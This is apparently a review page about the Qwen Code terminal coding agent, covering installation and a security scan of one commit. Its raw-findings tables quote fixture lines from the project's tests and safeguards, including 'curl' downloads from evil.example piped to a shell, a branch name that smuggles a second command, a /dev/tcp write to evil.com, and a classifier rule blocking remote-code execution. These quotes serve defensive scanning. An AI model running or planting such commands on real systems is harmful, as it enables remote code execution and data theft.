Qwen Code is a coding agent that runs in your terminal: open it in a project, describe what you want, and it reads files, edits code and runs commands and tests, asking for approval as it goes. It started as a fork of Google's Gemini CLI and has since been developed on its own by the Qwen team, adding subagents, skills, hooks, MCP servers, plan mode, a sandbox and an auto mode.
Its draw is that it is not tied to one vendor. It speaks the OpenAI, Anthropic, Gemini and Qwen APIs, so you can point it at a Qwen model on Alibaba Cloud, another provider, or a local model through Ollama or vLLM, and switch at runtime. Beyond the terminal there are VS Code, Zed and JetBrains plugins, a desktop app, an experimental web UI (qwen serve), SDKs for TypeScript, Python and Java, and chat bridges for Telegram, DingTalk, WeChat and Feishu.
It is Apache-2.0, with about 28,700 stars and 620 contributors, and it moves very fast. One change to know about: the free tier of the Qwen OAuth login ended on 15 April 2026, so you now bring an API key or a paid plan.
- Repository: github.com/QwenLM/qwen-code
- Licence: Apache-2.0 (Apache License 2.0)
- Language: TypeScript. Stars: 28.7K. Forks: 3,262. Last push: Oct 26, 2026.
- Scan: safe, Oct 26, 2026, commit e3bdc0f
Who it is for
Developers who want a Claude Code style agent with the choice of model left to them, including teams that want to run it against a self-hosted or local model.
Getting started
1. Install with npm (Node.js 22 or later; brew install qwen-code also works)
npm install -g @qwen-code/qwen-code@latest2. Start it in your project, then run /auth inside the session to set a provider and key
cd /path/to/your-project && qwen3. Or run it headless from a script
qwen -p "Explain this repository and show me where to start."The README's one-line installers (a shell script for macOS and Linux, a PowerShell one for Windows) are fetched from Alibaba Cloud storage, can install Node.js for you, and add a line to your shell profile. The npm and Homebrew routes do none of that.
Safety scan
We cloned QwenLM/qwen-code at commit e3bdc0f on Oct 26, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.
- The 31 secret hits are all in tests and in the agent's own secret scanner: fake Slack, GitHub and AWS tokens and BEGIN PRIVATE KEY markers used to check that Qwen Code redacts them. The 39 bare-IP URLs are test fixtures, mostly in the reserved documentation ranges.
- Most of the 66 pattern hits are the agent's safety code and its tests, which quote commands such as curl | sh and /dev/tcp redirects in order to block them. The real ones: the self-update path reruns the official installer with curl | bash, and the optional computer-use driver (packages/cua-driver) registers macOS LaunchAgents or a systemd user service for its daemon and updater, with uninstall scripts that remove them. Its installer can use sudo.
- Usage statistics are enabled by default for every login method, per the project's own privacy notice; set usageStatisticsEnabled to false in its settings to turn them off. Prompts and code go to whichever model provider you configure.
- 8 committed binaries: ripgrep for five platforms (the agent's search tool), a small landlock-run sandbox helper for Linux, and an Android Gradle wrapper. The install hooks set permissions on those binaries, build an optional microphone addon, and download the computer-use driver from the project's own GitHub releases.
- 328 known advisories, 13 critical, across ten lockfiles. Many sit in test tooling (Vitest, Tinypool) and example apps, but the main pnpm-lock.yaml (125, 10 critical) also flags runtime libraries such as simple-git and shell-quote, so keep it updated.
- 65 workflows. Eight run on pull_request_target, and the AI triage and review jobs do build pull-request code, but only after checking that the PR author has write access, inside containers, with tokens withheld from the steps that run it. 17 of 28 third-party actions are pinned; Dependabot, CodeQL and a security policy are present.
What the scanner counted
| Check | Result |
|---|---|
| Secrets | 31 candidates found and read; see the notes above. |
| Suspicious code | 66 pattern hits found and read; every one is listed under the raw findings. |
| Install-time code | 9 npm lifecycle scripts. 6 Cargo build scripts. 29 installer scripts (one fetches and runs a remote script; one edits your shell profile; one can call sudo) |
| Committed binaries | 8 executable or compiled objects committed; listed under the raw findings. |
| CI workflows | 65 workflows. 8 use pull_request_target, none check out the pull request head. 11 of 28 third-party actions pinned to a tag rather than a commit. |
| Network hosts | 40 distinct hosts referenced from source; most often github.com, product.example, dashscope.aliyuncs.com, daemon.example. 39 URLs to a bare IP address, listed under the raw findings. |
| Known vulnerabilities | 328 advisories across 3,346 pinned packages: 13 critical, 121 high, 130 moderate, 37 low, 27 unrated. packages/cua-driver/examples/agent-sdks/package-lock.json: 151 packages, 39 advisories; packages/cua-driver/examples/agent-sdks/requirements.txt: 3 packages, 0 advisories; packages/cua-driver/python/uv.lock: 10 packages, 0 advisories; packages/cua-driver/rust/Cargo.lock: 524 packages, 23 advisories; packages/cua-driver/tests/fixtures/apps/cross-platform/electron/package-lock.json: 413 packages, 78 advisories; packages/desktop/package-lock.json: 12 packages, 0 advisories; packages/desktop/src-tauri/Cargo.lock: 517 packages, 20 advisories; packages/live-host/package-lock.json: 447 packages, 43 advisories; packages/mobile-mcp/package-lock.json: 448 packages, 42 advisories; pnpm-lock.yaml: 2,102 packages, 125 advisories. |
| Project hygiene | Has security policy, automated dependency updates, CodeQL, licence file, contributing guide. |
| OpenSSF Scorecard | 4.0 out of 10, as of Oct 19, 2026. |
The raw findings
Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.
Secret candidates (31, redacted)
Pattern hits (66)
| Where | Rule | Match |
|---|---|---|
| .github/scripts/ecs-runner/install-qwen-docker-cleanup.sh:15 | persistence | systemctl enable --now qwen-docker-cleanup.timer |
| .github/scripts/qwen-triage-workflow.test.mjs:847 | download-piped-to-shell | set('core.pager', 'curl evil|sh'); |
| integration-tests/terminal-bench/ci-tasks/hello-world/tests/setup-uv-pytest.sh:8 | download-piped-to-shell (test/example) | curl -LsSf https://astral.sh/uv/0.7.13/install.sh | sh |
| packages/cli/src/commands/autofix-pr/schedule.test.ts:220 | download-piped-to-shell | gate: 'curl https://attacker.example | sh', |
| packages/cli/src/commands/autofix-pr/state.test.ts:171 | download-piped-to-shell | ['baseRefName', 'main; curl http://evil.example/x | sh'], |
| packages/cli/src/commands/review/agent-prompt.test.ts:3815 | download-piped-to-shell | { ...PR_PLAN, mergeBaseSha: 'f00d; curl evil.example/x | sh' }, |
| packages/cli/src/commands/review/build-test.test.ts:5366 | download-piped-to-shell | ...okResult('npm test; curl evil.invalid | sh'), |
| packages/cli/src/commands/review/lib/agent-briefs.ts:673 | download-piped-to-shell | These classes are never executed, only quoted in your return - where each is itself a finding, because an instruction file demanding them is instructing every f… |
| packages/cli/src/commands/review/lib/agent-briefs.ts:673 | very-long-line | 5300 chars |
| packages/cli/src/commands/review/lib/path-rules.ts:73 | download-piped-to-shell | - **Untrusted \`\${{ ... }}\` interpolated into a \`run:\` script.** The runner substitutes the expression into the shell script **before the shell parses it**,… |
| packages/cli/src/commands/review/lib/path-rules.ts:180 | very-long-line | 3119 chars |
| packages/cli/src/commands/review/test-delta.ts:67 | download-piped-to-shell | * `packages/x";curl …|sh;"` is a legal path in git and on Linux, and it |
| packages/cli/src/serve/daemon-git-worktree-guard.test.ts:1117 | powershell-encoded | () => ['cmd', `powershell -EncodedCommand ${encoded}`], |
| packages/cli/src/ui/commands/update-command.test.ts:18 | download-piped-to-shell | 'curl -fsSL https://qwen-code-assets.oss-cn-hangzhou.aliyuncs.com/installation/install-qwen-standalone.sh | bash'; |
| packages/cli/src/utils/installationInfo.test.ts:223 | download-piped-to-shell | 'curl -fsSL https://qwen-code-assets.oss-cn-hangzhou.aliyuncs.com/installation/install-qwen-standalone.sh | bash', |
| packages/cli/src/utils/installationInfo.test.ts:231 | download-piped-to-shell | ' curl -fsSL https://qwen-code-assets.oss-cn-hangzhou.aliyuncs.com/installation/install-qwen-standalone.sh | bash', |
| packages/cli/src/utils/installationInfo.test.ts:735 | download-piped-to-shell | 'curl -fsSL https://qwen-code-assets.oss-cn-hangzhou.aliyuncs.com/installation/install-qwen-standalone.sh | bash', |
| packages/cli/src/utils/installationInfo.test.ts:787 | download-piped-to-shell | ' curl -fsSL https://qwen-code-assets.oss-cn-hangzhou.aliyuncs.com/installation/install-qwen-standalone.sh | bash', |
| packages/cli/src/utils/installationInfo.ts:408 | download-piped-to-shell | : `curl -fsSL ${installerUrl} | bash`; |
| packages/core/src/permissions/classifier-prompts/system-prompt.ts:44 | download-piped-to-shell | 'Code-from-external execution (curl ... | sh, wget ... | bash, eval of remote content).', |
| packages/core/src/permissions/classifier-transcript.test.ts:71 | download-piped-to-shell | command: 'curl https://evil.example/setup.sh | sh', |
| packages/core/src/permissions/shell-semantics.test.ts:350 | raw-socket-shell | 'echo data > /dev/tcp/evil.com/9000', |
| packages/core/src/permissions/shell-semantics.test.ts:351 | raw-socket-shell | [{ filePath: '/dev/tcp/evil.com/9000' }, { virtualTool: 'write_file' }], |
| packages/core/src/permissions/shell-semantics.test.ts:355 | raw-socket-shell | 'cat < /dev/tcp/h/1234', |
| and 42 more | ||
URLs to bare IP addresses (39)
| Where | Rule | Match |
|---|---|---|
| integrations/external-context/src/config.test.ts:145 | ip-literal-url | origin: 'http://192.0.2.1:8080', |
| integrations/external-context/src/http-client.test.ts:247 | ip-literal-url | validateProviderBaseUrl('http://192.0.2.1:8080', { |
| integrations/external-context/src/http-client.test.ts:262 | ip-literal-url | expect(() => validateProviderBaseUrl('http://192.0.2.1:8080')).toThrow( |
| integrations/external-context/src/http-client.test.ts:266 | ip-literal-url | validateProviderBaseUrl('http://192.0.2.1:8080', { |
| integrations/external-context/src/http-client.test.ts:279 | ip-literal-url | validateProviderBaseUrl('http://192.0.2.1:8080/prefix', { |
| integrations/external-context/src/providers.test.ts:613 | ip-literal-url | 'http://192.0.2.1:8080', |
| packages/channels/wecom/src/WeComAdapter.test.ts:2481 | ip-literal-url | url: 'https://100.100.100.200/latest/meta-data/', |
| packages/channels/wecom/src/WeComAdapter.test.ts:3311 | ip-literal-url | image: { url: 'https://192.0.32.1/image', aeskey: 'k1' }, |
| packages/channels/wecom/src/WeComAdapter.test.ts:3316 | ip-literal-url | 'https://192.0.32.1/image', |
| packages/channels/wecom/src/WeComAdapter.test.ts:3333 | ip-literal-url | image: { url: 'https://192.0.2.1/image', aeskey: 'k1' }, |
| packages/channels/wecom/src/WeComAdapter.test.ts:3369 | ip-literal-url | image: { url: 'https://192.88.99.1/image', aeskey: 'k1' }, |
| packages/cli/src/commands/channel/daemon-worker.test.ts:1925 | ip-literal-url | daemonUrl: 'https://203.0.113.7:4170', |
| packages/cli/src/serve/auth.test.ts:584 | ip-literal-url | 'http://192.0.2.1:54321', |
| packages/cli/src/serve/auth.test.ts:663 | ip-literal-url | 'http://192.0.2.1:4170', |
| packages/cli/src/serve/managed-runtime-tool-executor.test.ts:2943 | ip-literal-url | const input = { url: 'https://8.8.8.8/docs', prompt: 'Summarize' }; |
| packages/cli/src/serve/server.test.ts:42342 | ip-literal-url | 'http://100.64.1.1:11434/v1', |
| packages/cli/src/ui/utils/osc8.test.ts:227 | ip-literal-url | expect(labelMayDeceive('1.1.1.1', 'https://1.1.1.1/dns')).toBe(false); |
| packages/cli/src/ui/voice/voice-transcriber.test.ts:822 | ip-literal-url | 'http://100.100.100.200/v1', |
| packages/core/src/core/llm-chat.test.ts:10838 | ip-literal-url | 'network error for request to http://11.0.0.1:8080/v1/chat/completions: Post "http://11.0.0.1:8080/v1/chat/completions": EOF', |
| packages/core/src/core/llm-chat.test.ts:10838 | ip-literal-url | 'network error for request to http://11.0.0.1:8080/v1/chat/completions: Post "http://11.0.0.1:8080/v1/chat/completions": EOF', |
| packages/core/src/hooks/httpHookRunner.test.ts:481 | ip-literal-url | 'http://100.100.100.200/latest/meta-data', |
| packages/core/src/hooks/urlValidator.test.ts:88 | ip-literal-url | validator.isBlocked('http://100.100.100.200/latest/meta-data'), |
| packages/core/src/managed-runtime/http-managed-session-store.test.ts:1300 | ip-literal-url | 'http://203.0.113.10:8080', |
| packages/core/src/utils/fetch.test.ts:99 | ip-literal-url | 'https://100.100.100.200', |
| and 15 more | ||
npm lifecycle scripts (9)
package.jsonpostinstall:patch-packagepackage.jsonprepare:node scripts/prepare.jspackages/audio-capture/package.jsoninstall:node install.jspackages/browser-use/package.jsonprepack:npm run buildpackages/core/package.jsonpostinstall:node scripts/postinstall.jspackages/cua-driver/typescript/package.jsonpostinstall:node scripts/install-native.mjspackages/cua-driver/typescript/package.jsonprepack:npm run buildpackages/sdk-typescript/package.jsonprepack:npm run build && npm run bundle:clipackages/vscode-ide-companion/package.jsonprepare:npm run generate:notices
Installer scripts (29)
- .github/scripts/ci/run-unit-test-lanes.sh, 106 lines
- .github/scripts/ecs-runner/install-qwen-docker-cleanup.sh, 16 lines
- .github/scripts/ecs-runner/install-qwen-font-baseline.sh, 52 lines
- .github/scripts/install-pool-jdk.sh, 128 lines; talks to mirrors.tuna.tsinghua.edu.cn
- .github/scripts/run-autofix-review-verification.sh, 2,032 lines
- .github/scripts/run-e2e-tests.sh, 165 lines
- .github/scripts/run-release-docker-integration.sh, 175 lines
- .github/scripts/run-release-step.sh, 386 lines
- .github/scripts/run-release-workspace-tests.sh, 56 lines
- .qwen/skills/agent-reproduce-align/scripts/run_pair_capture.sh, 119 lines
- .qwen/skills/agent-reproduce-feature/scripts/run_tmux_capture.sh, 45 lines
- .qwen/skills/agent-reproduce-feature/scripts/run_with_mitm.sh, 131 lines
- integration-tests/terminal-bench/ci-tasks/hello-world/run-tests.sh, 5 lines
- integration-tests/terminal-bench/ci-tasks/swe-bench-astropy-1/run-tests.sh, 53 lines
- packages/cua-driver/scripts/install-local.ps1, 414 lines; talks to github.com, raw.githubusercontent.com, rustup.rs
- packages/cua-driver/scripts/install-local.sh, 54 lines
- packages/cua-driver/scripts/install.ps1, 1,743 lines, uses sudo; talks to api.github.com, github.com, raw.githubusercontent.com
- packages/cua-driver/scripts/install.sh, 123 lines, uses sudo; talks to raw.githubusercontent.com
- packages/cua-driver/scripts/uninstall-local.ps1, 189 lines
- packages/cua-driver/scripts/uninstall-local.sh, 240 lines, uses sudo
- packages/cua-driver/scripts/uninstall.ps1, 568 lines; talks to raw.githubusercontent.com
- packages/cua-driver/scripts/uninstall.sh, 859 lines, uses sudo; talks to raw.githubusercontent.com
- scripts/installation/install-opentui-preview.ps1, 74 lines; talks to github.com
- scripts/installation/install-opentui-preview.sh, 142 lines; talks to github.com
- scripts/installation/install-qwen-standalone.ps1, 403 lines; talks to qwen-code-assets.oss-cn-hangzhou.aliyuncs.com
- scripts/installation/install-qwen-standalone.sh, 1,625 lines, edits your shell profile, fetches and runs a remote script; talks to github.com, nodejs.org, qwen-code-assets.oss-cn-hangzhou.aliyuncs.com, registry.npmmirror.com
- scripts/installation/install-qwen-with-source.sh, 999 lines, fetches and runs a remote script; talks to github.com, nodejs.org, qwen-code-assets.oss-cn-hangzhou.aliyuncs.com, registry.npmmirror.com
- scripts/installation/uninstall-qwen-standalone.ps1, 392 lines; talks to qwen-code-assets.oss-cn-hangzhou.aliyuncs.com
- scripts/installation/uninstall-qwen-standalone.sh, 313 lines, edits your shell profile, fetches and runs a remote script
Committed binaries (8)
packages/core/vendor/ripgrep/x64-linux/rg: ELF, 6 MBpackages/core/vendor/ripgrep/x64-win32/rg.exe: PE (Windows executable), 5 MBpackages/core/vendor/ripgrep/arm64-linux/rg: ELF, 5 MBpackages/core/vendor/ripgrep/x64-darwin/rg: Mach-O, 5 MBpackages/core/vendor/ripgrep/arm64-darwin/rg: Mach-O, 5 MBpackages/mobile-shell/gradle/wrapper/gradle-wrapper.jar: JAR, 44 KBpackages/core/vendor/landlock-run/arm64-linux/qwen-landlock-run: ELF, 42 KBpackages/core/vendor/landlock-run/x64-linux/qwen-landlock-run: ELF, 34 KB
Worst known vulnerabilities (24 of 328)
| Advisory | Severity | Package | Summary |
|---|---|---|---|
| GHSA-jqcg-44mw-7w3h | critical | proxy-addr@2.0.7 | proxy-addr vulnerable to IP spoofing via IPv4-mapped IPv6 trust subnet |
| GHSA-4684-h2q9-2vcp | critical | zip@8.6.0 | ZipStreamReader::extract() and ZipArchive::extract() apply Unix permissions through symlinks without confining the targe… |
| GHSA-23hp-3jrh-7fpw | critical | tar@6.2.1 | node-tar: Decompression/parse DoS via unlimited input |
| GHSA-4684-h2q9-2vcp | critical | zip@4.6.1 | ZipStreamReader::extract() and ZipArchive::extract() apply Unix permissions through symlinks without confining the targe… |
| GHSA-v5rq-49vh-5v5c | critical | @simple-git/argv-parser@1.1.1 | simple-git: `VISUAL` editor environment variable is omitted from unsafe editor detection |
| GHSA-cg2g-xh64-v4q7 | critical | dompurify@3.4.14 | DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output mo… |
| GHSA-pqg4-j6r4-53mv | critical | shell-quote@1.9.0 | shell-quote: `quote()` command injection via a line terminator in a token after a `{ comment }` token |
| GHSA-x6jw-m9v5-85vh | critical | simple-git@3.36.0 | simple-git unsafe-operation guard does not block trailer command configuration |
| GHSA-5gmw-xhrv-c9v3 | critical | tinypool@0.8.4 | Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution |
| GHSA-85c8-ppgw-ccpr | critical | tinypool@0.8.4 | Tinypool: Prototype Pollution Gadget to RCE in run() options |
| GHSA-5gmw-xhrv-c9v3 | critical | tinypool@1.1.1 | Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution |
| GHSA-85c8-ppgw-ccpr | critical | tinypool@1.1.1 | Tinypool: Prototype Pollution Gadget to RCE in run() options |
| GHSA-5xrq-8626-4rwp | critical | vitest@1.6.1 | When Vitest UI server is listening, arbitrary file can be read and executed |
| GHSA-22jm-h49p-29qw | high | @modelcontextprotocol/sdk@1.29.0 | MCP TypeScript SDK: Experimental tasks were not tied to the session that created them |
| GHSA-46jr-4wx8-v453 | high | @modelcontextprotocol/sdk@1.29.0 | MCP TypeScript SDK: One HTTP request within the default size limit could exhaust server memory during validation |
| GHSA-6qxp-vccf-f47h | high | @modelcontextprotocol/sdk@1.29.0 | MCP TypeScript SDK: OAuth client could send credentials to an authorization server chosen by the MCP server |
| GHSA-27r3-jxmh-p828 | high | body-parser@2.3.0 | body-parser vulnerable to Denial of Service via trailing bytes after a compressed request body |
| GHSA-5jgf-p345-68v8 | high | fast-uri@3.1.4 | fast-uri vulnerable to host confusion via skipped IDN canonicalization on scheme-relative references |
| GHSA-7p8r-x3mc-p8w7 | high | fast-uri@3.1.4 | fast-uri vulnerable to host confusion via backslash authority introducer |
| GHSA-f65p-4m7j-42xc | high | fast-uri@3.1.4 | fast-uri vulnerable to server-side request forgery via malformed IPv6 normalization |
| GHSA-fph4-wmhf-6fwf | high | fast-uri@3.1.4 | fast-uri vulnerable to server-side request forgery via repeated hostname percent-decoding |
| GHSA-jqff-g426-hqxp | high | fast-uri@3.1.4 | fast-uri vulnerable to host confusion via percent-encoded scheme normalization |
| GHSA-qw65-cvwx-89v3 | high | fast-uri@3.1.4 | fast-uri vulnerable to authority injection via an unvalidated port in serialize |
| GHSA-mwp4-54f8-5fhr | high | ip-address@10.2.0 | ip-address: Address4 decodes leading-zero octets as decimal while resolvers decode them as octal, allowing SSRF and trus… |
Workflows worth a look
- .github/workflows/assign-pr-owner.yml: pull_request_target
- .github/workflows/pr-force-push-reminder.yml: pull_request_target
- .github/workflows/pr-self-report-label.yml: pull_request_target
- .github/workflows/qwen-autofix.yml: pull_request_target
- .github/workflows/qwen-code-pr-review.yml: pull_request_target
- .github/workflows/qwen-triage-finalize.yml: pull_request_target
- .github/workflows/qwen-triage.yml: pull_request_target
- .github/workflows/web-shell-visuals-cleanup.yml: pull_request_target
By the numbers
| Stars | 28.7K |
|---|---|
| Forks | 3,262 |
| Contributors | 620 |
| Commits | 11.5K |
| Open issues | 1,621 |
| Open pull requests | 432 |
| Releases | 595 |
| Latest release | sdk-typescript-v0.1.23 |
| Licence | Apache-2.0 |
| Main language | TypeScript |
| Project age | 1 year |
| Last push | Oct 26, 2026 |
| Tracked files | 13,188 |
| Lines of code | 6M |
| Checkout size | 288 MB |
Lines by language: TypeScript 4.4M, Markdown 415.3K, Java 409.6K, Rust 257.3K, JavaScript 231.2K, JSON 205.3K.
Questions
Is Qwen Code free?
The software is free and Apache-2.0. Model use may not be: the free Qwen OAuth tier ended on 15 April 2026, so you either pay a provider (Alibaba Cloud's Coding Plan, OpenAI, Anthropic and others) or point it at a model you run yourself, which costs nothing beyond your hardware.
Can Qwen Code use a local model?
Yes. It talks to any OpenAI-compatible endpoint, so Ollama, vLLM, LM Studio or llama.cpp's server all work. Agent work needs a capable model with tool calling; small local models tend to struggle with long, multi-step edits.
How is Qwen Code related to Gemini CLI?
It was forked from Google's Gemini CLI at version 0.8.2 and stopped syncing with it from Qwen Code 0.1. The commands will feel familiar, but providers, features and settings have diverged since.
This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.
